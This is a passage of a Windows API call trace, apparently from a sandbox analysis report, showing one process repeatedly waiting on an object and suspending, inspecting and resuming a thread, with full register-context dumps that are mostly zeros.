[0245.634] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0246.152] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0246.449] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0246.449] SuspendThread (hThread=0xf4) returned 0x0 [0246.449] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031930, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe53e80, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0247.059] ResumeThread (hThread=0xf4) returned 0x1 [0247.059] CloseHandle (hObject=0xf4) returned 1 [0247.059] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0247.807] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0248.276] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0250.226] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0250.508] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0250.508] SuspendThread (hThread=0xf4) returned 0x0 [0250.508] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000317c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe59000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0251.098] ResumeThread (hThread=0xf4) returned 0x1 [0251.098] CloseHandle (hObject=0xf4) returned 1 [0251.098] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0252.325] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0252.325] SuspendThread (hThread=0xf4) returned 0x0 [0252.325] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031768, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe563a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0252.640] ResumeThread (hThread=0xf4) returned 0x1 [0252.640] CloseHandle (hObject=0xf4) returned 1 [0252.640] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0253.169] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0253.169] SuspendThread (hThread=0xf4) returned 0x0 [0253.169] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffcb8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe7b00b, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0253.336] ResumeThread (hThread=0xf4) returned 0x1 [0253.336] CloseHandle (hObject=0xf4) returned 1 [0253.336] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0253.583] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0253.767] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0254.218] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0254.528] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0255.224] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0255.224] SuspendThread (hThread=0xf4) returned 0x0 [0255.224] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031770, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xeb2a60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, 